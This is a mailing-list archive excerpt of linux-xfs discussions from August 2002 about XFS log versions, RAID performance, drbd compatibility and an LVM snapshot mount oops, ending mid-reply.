zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ELT9Rw014400 for ; Wed, 14 Aug 2002 14:29:09 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA33841; Wed, 14 Aug 2002 16:31:36 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA51906; Wed, 14 Aug 2002 16:31:35 -0500 (CDT) Subject: Re: Problem repairing filesystem From: Eric Sandeen To: Luciano Chavez Cc: Danny Cox , Steve Lord , XFS Mailing List In-Reply-To: <1029356261.2342.34.camel@chavez> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> <1029344919.1364.14.camel@wiley> <1029353651.21251.100.camel@stout.americas.sgi.com> <1029356261.2342.34.camel@chavez> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 16:25:59 -0500 Message-Id: <1029360360.21217.177.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Luciano - I guess this is getting down to the question of how "default" we want v2 logs to be at this point. It does not look -quite- production-ready yet, so we're reluctant to default it in any case, based on what the underlying device looks like. The existing test for a user-specified log stripe unit assumes that if you're asking for an lsunit, you're asking for v2 logs, and that's fine. But looking at the device and switching to v2 logs is something we're probably not quite ready to do. So... What you have suggested below probably should be implemented as part of my patch - but that patch probably won't go in for a bit. Thanks, -Eric On Wed, 2002-08-14 at 15:17, Luciano Chavez wrote: > On other non-EVMS devices, oddly enough if you specify -d > sunit=x,swidth=y, the log sunit is set but version 1 log is used. If you > explicitly use -l sunit=x then the log version is set to 2. I think if > you explicitly specify -d sunit,swidth, it should behave as when the > device returns stripe info. That is, the log version should be set to 2 > as well. -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 14 14:30:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ELUXRw014506 for ; Wed, 14 Aug 2002 14:30:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ELUX7I014505 for linux-xfs-outgoing; Wed, 14 Aug 2002 14:30:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ELUSRw014458 for ; Wed, 14 Aug 2002 14:30:28 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA33836; Wed, 14 Aug 2002 16:32:55 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA83874; Wed, 14 Aug 2002 16:32:54 -0500 (CDT) Subject: Re: Convert Log Format from old to v2 format From: Eric Sandeen To: Oliver Jehle Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029319626.1094.22.camel@vorab> References: <1029319626.1094.22.camel@vorab> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 16:27:18 -0500 Message-Id: <1029360439.21217.179.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Oliver - There is a script here that's a perl wrapper around xfs_db - let me look at it a bit and see what shape it's in. If it looks sane I'll put it out there for testing. Thanks, -Eric On Wed, 2002-08-14 at 05:07, Oliver Jehle wrote: > is there a way to convert the logging format from old xfs-filestem to > the new version 2 logging in xfs without backup/recreate/restore the > filesystem ??? for example unmounting, run utility, mount it... -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 14 16:21:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ENLVRw016013 for ; Wed, 14 Aug 2002 16:21:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ENLVLR016012 for linux-xfs-outgoing; Wed, 14 Aug 2002 16:21:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ENLPRw015984 for ; Wed, 14 Aug 2002 16:21:25 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id SAA34548 for ; Wed, 14 Aug 2002 18:23:53 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id SAA63132 for ; Wed, 14 Aug 2002 18:23:53 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7ENIG728516; Wed, 14 Aug 2002 18:18:16 -0500 Message-Id: <200208142318.g7ENIG728516@stout.americas.sgi.com> Date: Wed, 14 Aug 2002 18:18:16 -0500 Subject: TAKE - Fix endian bug in xfs_db utility X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hm, fix a bug that I almost fixed 13 months ago... :) The endian flip was explicitly -not- flipping 16-bit numbers, when in fact it should have been skipping 8-bit numbers... Date: Wed Aug 14 16:22:26 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:125143a cmd/xfsprogs/db/bit.c - 1.7 - Fix another endian bug - skip flip on 8 bit numbers, not 16 From owner-linux-xfs@oss.sgi.com Wed Aug 14 21:23:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7F4NXRw023720 for ; Wed, 14 Aug 2002 21:23:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7F4NXMX023719 for linux-xfs-outgoing; Wed, 14 Aug 2002 21:23:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7F4NQRw023691 for ; Wed, 14 Aug 2002 21:23:26 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id VAA03955 for ; Wed, 14 Aug 2002 21:26:00 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA20605; Thu, 15 Aug 2002 14:24:41 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7F4MNle005765; Thu, 15 Aug 2002 14:22:23 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7F4MMje005763; Thu, 15 Aug 2002 14:22:22 +1000 Date: Thu, 15 Aug 2002 14:22:22 +1000 From: Nathan Scott To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - configure Message-ID: <20020815042222.GA5587@frodo> References: <200208100202.MAA46551@snort.melbourne.sgi.com> <20020814145530.A16680@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020814145530.A16680@infradead.org> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, Aug 14, 2002 at 02:55:30PM +0100, Christoph Hellwig wrote: > On Sat, Aug 10, 2002 at 12:02:48PM +1000, Nathan Scott wrote: > > Michael &/ Christoph - can you see if this helps? thanks. > ... > I don't think requiring them is a good idea, though, configure should have > sane defaults. Why don't you go back to the pre-2.1.2 behaviour? The old behaviour was not sufficiently, heh, configurable for some people. The defaults are mostly sane, though configure always defaults to /usr/local for --prefix which is not what we want for that default ever anyway... Real default is "just type make" and in that case, everything should end up where 98%+ of people would expect. Having said that, would be nice to find a better solution for that dopey --libexecdir use, I just need to think of something better. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 15 00:11:56 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7F7BuRw025734 for ; Thu, 15 Aug 2002 00:11:56 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7F7BulL025733 for linux-xfs-outgoing; Thu, 15 Aug 2002 00:11:56 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7F7BfRw025705 for ; Thu, 15 Aug 2002 00:11:41 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq01)) with ESMTP id BC4E4C298; Thu, 15 Aug 2002 09:14:09 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id JAA18853; Thu, 15 Aug 2002 09:14:08 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 50FFC57306; Thu, 15 Aug 2002 09:13:25 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id 236E425835; Thu, 15 Aug 2002 09:13:25 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 829AE30881D; Thu, 15 Aug 2002 09:13:24 +0200 (CEST) Message-ID: <3D5B5494.EA8B32A3@ch.sauter-bc.com> Date: Thu, 15 Aug 2002 09:13:24 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Steve Lord Cc: Paul Schutte , Seth Mos , XFS mailing list Subject: Re: Problem repairing filesystem References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Steve Lord schrieb: > > On Wed, 2002-08-14 at 10:12, Simon Matter wrote: > > Paul Schutte schrieb: > > > > > > Seth Mos wrote: > > > > > > > At 12:31 14-8-2002 +0200, Paul Schutte wrote: > > > > >Background: > > > > >---------------- > > > > > > > > > >I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the > > > > >2.4.9-31-xfs kernel. > > > > >Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware > > > > >raid controller. > > > > >There is a 4Gb root partition and a +/- 320Gb data partition. > > > > > > > > > >One of the drives failed and the machine crashed. > > > > > > > > Adaptec is not known for there quality of the raid drivers. aacraid comes > > > > to mind. I suggest using software raid instead. I like software raid. > > > > > > > > > > software RAID5 with internal log using postmark v1.5 > > > Time: > > > 6186 seconds total > > > 5840 seconds of transactions (17 per second) > > > > > > Files: > > > 60125 created (9 per second) > > > Creation alone: 10000 files (121 per second) > > > Mixed with transactions: 50125 files (8 per second) > > > 50110 read (8 per second) > > > 49822 appended (8 per second) > > > 60125 deleted (9 per second) > > > Deletion alone: 10250 files (38 per second) > > > Mixed with transactions: 49875 files (8 per second) > > > > > > Data: > > > 3113.25 megabytes read (515.35 kilobytes per second) > > > 3731.11 megabytes written (617.63 kilobytes per second) > > > > > > hardware raid5 using postmark v1.5: > > > Time: > > > 749 seconds total > > > 709 seconds of transactions (141 per second) > > > > > > Files: > > > 60125 created (80 per second) > > > Creation alone: 10000 files (416 per second) > > > Mixed with transactions: 50125 files (70 per second) > > > 50110 read (70 per second) > > > 49822 appended (70 per second) > > > 60125 deleted (80 per second) > > > Deletion alone: 10250 files (640 per second) > > > Mixed with transactions: 49875 files (70 per second) > > > > > > Data: > > > 3113.25 megabytes read (4.16 megabytes per second) > > > 3731.11 megabytes written (4.98 megabytes per second) > > > > Hmm, tell me if I'm wrong but I'm quite sure you were using software > > RAID5 with internal log. Use external log with this kernel > > (2.4.9-31-xfs) and you'll see a big difference! I'm running 2.4.9-34-xfs > > on software RAID5 on a DELL server with hardware RAID. > > > > Simon > > > > So have any of you folks tried V2 logs with striping on a software raid, > it should fix the performance there. Not yet, sorry, I don't have much ressources (hardware/time) to test these days. Simon > > Steve > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 15 00:19:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7F7JrRw025912 for ; Thu, 15 Aug 2002 00:19:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7F7JqSS025911 for linux-xfs-outgoing; Thu, 15 Aug 2002 00:19:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7F7JeRw025882 for ; Thu, 15 Aug 2002 00:19:40 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id E0382C285; Thu, 15 Aug 2002 09:22:08 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id JAA19622; Thu, 15 Aug 2002 09:22:07 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 25D3957306; Thu, 15 Aug 2002 09:22:01 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id 7C5D225835; Thu, 15 Aug 2002 09:22:00 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 53EF830881D; Thu, 15 Aug 2002 09:21:58 +0200 (CEST) Message-ID: <3D5B5696.3FDFD3B6@ch.sauter-bc.com> Date: Thu, 15 Aug 2002 09:21:58 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Steve Lord Cc: Greg Freemyer , Blizbor , linux-xfs@oss.sgi.com Subject: Re: XFS and net devices, any pros or cons ? References: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> <1029345349.15708.98.camel@jen.americas.sgi.com> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Steve Lord schrieb: > > On Wed, 2002-08-14 at 12:08, Greg Freemyer wrote: > > >> The normal way we setup something like this is to use a shared scsi > > >> or fiberchannel disk setup, that way you no longer have a singe > > >> point of failure. If you are putting the disks into one of the > > >> two computers then if that system goes down you are dead in the > > >> water. The other aspect of the above setup is using something > > >> like failsafe, the two nodes monitor each other, and can (if > > >> setup correctly) shoot the other node down and take over the > > >> filesystem if it detects problems. failsafe itself is opensource, > > >> not sure if the components of it which fail over the filesystem > > >> to the other node are. Of course all this assumes using the fs > > >> via NFS - the second node takes over the ip address of the failed > > >> node. > > > > >> A quick look at drbd on the net seems to show that it is designed > > >> for these sorts of setups, and it has links to all the high > > >> availability stuff for linux. > > > > >> That aside, there should be no problem doing this, provided you > > >> make sure the unmount from one system is complete before attempting > > >> to mount on the other system. Mounting a filesystem which is > > >> already mounted elsewhere is not a good thing, the second system > > >> will think the fs needs recovery running on it. > > > > >> Steve > > > > I don't think drbd is designed for use in a shared SCSI environment. > > I did not intend to imply it was, just presenting a different way > to build a resilient configuration. > > > > > It is more of a RAID 1 driver where the 2 halves of the mirror are on the 2 different servers using internal disks. > > > > I believe it has support for ordered writes, but I for one would not simply assume XFS and drbd are compatible. > > > > Ah, I should have read more.... if the fs is mirrored between the two > hosts then there is a chance it will work OK. However, the interesting > part of XFS is write ordering - there are certain writes which we need > to know have made it down to disk and will survive a crash. In this > sort of setup I really do not know where the data will be once drbd > says it is written. Probably still in cache on the remote box for a > start. There may well be circumstances where loss of both machines > will cause filesystem corruption. > > you are right, testing such a setup before going live with it is > important, please do not take my comments as meaning it will definitely > work. If I'm not completely wrong here drbd is similar to nbd, isn't it. Long time ago I have successfully built a software RAID5 over three server using nbd, of course running XFS as filesystem. Simon > > Steve > > > Greg Freemyer > > Internet Engineer > > Deployment and Integration Specialist > > Compaq ASE - Tru64 v4, v5 > > Compaq Master ASE - SAN Architect > > The Norcross Group > > www.NorcrossGroup.com > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 15 03:50:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FAoBRw030717 for ; Thu, 15 Aug 2002 03:50:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FAoBDP030716 for linux-xfs-outgoing; Thu, 15 Aug 2002 03:50:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from karnickel.franken.de (mx0-wue.franken.de [217.6.190.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FAo5Rw030688 for ; Thu, 15 Aug 2002 03:50:06 -0700 Received: from karnickel.franken.de (localhost [127.0.0.1]) by karnickel.franken.de (8.12.2/8.12.2) with ESMTP id g7FAqdVs083813 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 12:52:40 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: (from uucp@localhost) by karnickel.franken.de (8.12.2/8.12.2/Submit) with UUCP id g7FAqd77083812; Thu, 15 Aug 2002 12:52:39 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: by debian.franken.de (Postfix, from userid 1000) id E7663299EB; Thu, 15 Aug 2002 12:49:39 +0200 (CEST) Date: Thu, 15 Aug 2002 12:49:38 +0200 To: linux-xfs@oss.sgi.com Cc: lvm-devel@sistina.com Subject: Re: oops when creating an lvm-snapshot Message-ID: <20020815104938.GB23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> <20020814183631.A21357@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020814183631.A21357@infradead.org> User-Agent: Mutt/1.4i From: erik@debian.franken.de (Erik Tews) X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ok, I fetched your patch from cvs today. Snapshot seems to work fine, but I cannot mount the snapshot. I did a mount -o nouuid /dev/master/xfssnap /snap and at this moment my kernel oopsed. The backtrace shows me that the oops happens in xfs_statfs which was called by linvfs_read_super which was called by get_sb_bdev. Can you reproduce this and do you know what happened? From owner-linux-xfs@oss.sgi.com Thu Aug 15 04:10:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FBAMRw031844 for ; Thu, 15 Aug 2002 04:10:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FBAMc5031843 for linux-xfs-outgoing; Thu, 15 Aug 2002 04:10:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from karnickel.franken.de (mx0-wue.franken.de [217.6.190.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FBAERw031810 for ; Thu, 15 Aug 2002 04:10:15 -0700 Received: from karnickel.franken.de (localhost [127.0.0.1]) by karnickel.franken.de (8.12.2/8.12.2) with ESMTP id g7FBCm7D090675 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 13:12:49 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: (from uucp@localhost) by karnickel.franken.de (8.12.2/8.12.2/Submit) with UUCP id g7FBCmW5090674; Thu, 15 Aug 2002 13:12:48 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: by debian.franken.de (Postfix, from userid 1000) id ABE0134601; Thu, 15 Aug 2002 13:10:30 +0200 (CEST) Date: Thu, 15 Aug 2002 13:10:30 +0200 To: linux-xfs@oss.sgi.com Cc: lvm-devel@sistina.com Subject: Re: oops when creating an lvm-snapshot Message-ID: <20020815111030.GC23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> <20020814183631.A21357@infradead.org> <20020815104938.GB23422@no-maam.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020815104938.GB23422@no-maam.dyndns.org> User-Agent: Mutt/1.4i From: erik@debian.franken.de (Erik Tews) X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 15, 2002 at 12:49:38PM +0200, Erik Tews wrote: > Ok, I fetched your patch from cvs today. Snapshot seems to work fine, > but I cannot mount the snapshot. I did a mount -o nouuid > /dev/master/xfssnap /snap and at this moment my kernel oopsed. The > backtrace shows me that the oops happens in xfs_statfs which was called > by linvfs_read_super which was called by get_sb_bdev. Can you reproduce > this and do you know what happened? And I found out that the kernel oopses even after a reboot. The message is Unable to handle kernel NULL pointer dereference at virtual address 00000004 If I dd the xfs-snapshot to a file I can run xfs_repair on it and it reports no problems and I can mount it loopback and everything seems to be fine. From owner-linux-xfs@oss.sgi.com Thu Aug 15 06:18:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FDI4Rw003652 for ; Thu, 15 Aug 2002 06:18:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FDI4Sd003651 for linux-xfs-outgoing; Thu, 15 Aug 2002 06:18:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FDHrRw003623 for ; Thu, 15 Aug 2002 06:17:54 -0700 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id g7FDKt321722; Thu, 15 Aug 2002 15:20:55 +0200 Date: Thu, 15 Aug 2002 15:20:55 +0200 (CEST) From: Matteo Centonza To: Greg Freemyer cc: Steve Lord , Blizbor , Subject: re[2]: XFS and net devices, any pros or cons ? In-Reply-To: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 14 Aug 2002, Greg Freemyer wrote: > >> The normal way we setup something like this is to use a shared scsi > >> or fiberchannel disk setup, that way you no longer have a singe > >> point of failure. If you are putting the disks into one of the > >> two computers then if that system goes down you are dead in the > >> water. The other aspect of the above setup is using something > >> like failsafe, the two nodes monitor each other, and can (if > >> setup correctly) shoot the other node down and take over the > >> filesystem if it detects problems. failsafe itself is opensource, > >> not sure if the components of it which fail over the filesystem > >> to the other node are. Of course all this assumes using the fs > >> via NFS - the second node takes over the ip address of the failed > >> node. > > >> A quick look at drbd on the net seems to show that it is designed > >> for these sorts of setups, and it has links to all the high > >> availability stuff for linux. > > >> That aside, there should be no problem doing this, provided you > >> make sure the unmount from one system is complete before attempting > >> to mount on the other system. Mounting a filesystem which is > >> already mounted elsewhere is not a good thing, the second system > >> will think the fs needs recovery running on it. > > >> Steve > > I don't think drbd is designed for use in a shared SCSI environment. > > It is more of a RAID 1 driver where the 2 halves of the mirror are on the 2 different servers using internal disks. > > I believe it has support for ordered writes, but I for one would not simply assume XFS and drbd are compatible. I've asked a similar question to Dan Yocum (very active on this front) some time ago, and AFAICT unfortunately XFS and DRDB don't play well together because DRBD lies on the assumption of constant chunk I/O (ala ext2/3), while XFS uses variable chunks. IIRC, addressing this problem it's on the drbd TODO list (not in the nearest future). Ciao, -m From owner-linux-xfs@oss.sgi.com Thu Aug 15 06:48:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FDmfRw004166 for ; Thu, 15 Aug 2002 06:48:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FDmfYr004165 for linux-xfs-outgoing; Thu, 15 Aug 2002 06:48:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FDmaRw004137 for ; Thu, 15 Aug 2002 06:48:36 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7FDohjI107820; Thu, 15 Aug 2002 09:50:43 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7FDoaAR093640; Thu, 15 Aug 2002 09:50:37 -0400 Subject: Re: Problem repairing filesystem From: Luciano Chavez To: Eric Sandeen Cc: Danny Cox , Steve Lord , XFS Mailing List In-Reply-To: <1029360360.21217.177.camel@stout.americas.sgi.com> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> <1029344919.1364.14.camel@wiley> <1029353651.21251.100.camel@stout.americas.sgi.com> <1029356261.2342.34.camel@chavez> <1029360360.21217.177.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 15 Aug 2002 08:46:11 -0500 Message-Id: <1029419177.2690.36.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 16:25, Eric Sandeen wrote: > But looking at the device and switching to v2 logs is something we're > probably not quite ready to do. So... What you have 